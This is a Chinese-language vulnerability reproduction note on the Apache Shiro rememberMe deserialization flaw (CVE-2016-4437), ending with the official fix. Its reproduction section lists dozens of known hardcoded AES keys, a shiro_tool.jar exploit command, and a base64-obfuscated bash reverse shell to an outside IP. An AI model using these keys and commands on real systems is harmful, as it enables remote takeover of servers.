(CVE-2016-4437)Apache Shiro 反序列化漏洞
0x01.漏洞简述
Apache shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:得到rememberMe的cookie值
–>Base64解码
–>AES解密
–>反序列化
。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
0x02.影响版本
Apache Shiro <= v1.2.4
0x03.漏洞分析
不造轮子了。。。
0x04.漏洞复现
网络上收集到的key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| kPH+bIxk5D2deZiIxcaaaA== 3qDVdLawoIr1xFd6ietnwg== YI1+nBV//m7ELrIyDHm6DQ== 6Zm+6I2j5Y+R5aS+5ZOlAA== 2A2V+RFLUs+eTA3Kpr+dag== 6ZmI6I2j3Y+R1aSn5BOlAA== SkZpbmFsQmxhZGUAAAAAAA== 2cVtiE83c4lIrELJwKGJUw== fsHspZw/92PrS3XrPW+vxw== XTx6CKLo/SdSgub+OPHSrw== sHdIjUN6tzhl8xZMG3ULCQ== O4pdf+7e+mZe8NyxMTPJmQ== HWrBltGvEZc14h9VpMvZWw== rPNqM6uKFCyaL10AK51UkQ== Y1JxNSPXVwMkyvES/kJGeQ== lT2UvDUmQwewm6mMoiw4Ig== MPdCMZ9urzEA50JDlDYYDg== xVmmoltfpb8tTceuT5R7Bw== c+3hFGPjbgzGdrC+MHgoRQ== ClLk69oNcA3m+s0jIMIkpg== Bf7MfkNR0axGGptozrebag== 1tC/xrDYs8ey+sa3emtiYw== ZmFsYWRvLnh5ei5zaGlybw== cGhyYWNrY3RmREUhfiMkZA== IduElDUpDDXE677ZkhhKnQ== yeAAo1E8BOeAYfBlm4NG9Q== 2itfW92XazYRi5ltW0M2yA== XgGkgqGqYrix9lI6vxcrRw== ertVhmFLUs0KTA3Kprsdag== 5AvVhmFLUS0ATA4Kprsdag== s0KTA3mFLUprK4AvVhsdag== hBlzKg78ajaZuTE0VLzDDg== 9FvVhtFLUs0KnA3Kprsdyg== d2ViUmVtZW1iZXJNZUtleQ== yNeUgSzL/CfiWw1GALg6Ag== NGk/3cQ6F5/UNPRh8LpMIg== 4BvVhmFLUs0KTA3Kprsdag== MzVeSkYyWTI2OFVLZjRzZg==
|
poc
使用shiro_tool.jar反弹shell
1
| java -jar shiro_tool.jar http:
|
使用1和10都可以,反弹shell需要编码
1
| bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MC4xOTUuMTU5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
|
nc监听反弹shell
抓包分析,看到http请求头Cookie字段为 rememberMe=**,响应头存在Set-Cookie:rememberMe=deleteMe
0x05.官方修复
- 删除代码里的默认密钥
- 默认配置里注释了默认密钥
- 如果不配置密钥,每次会重新随机一个密钥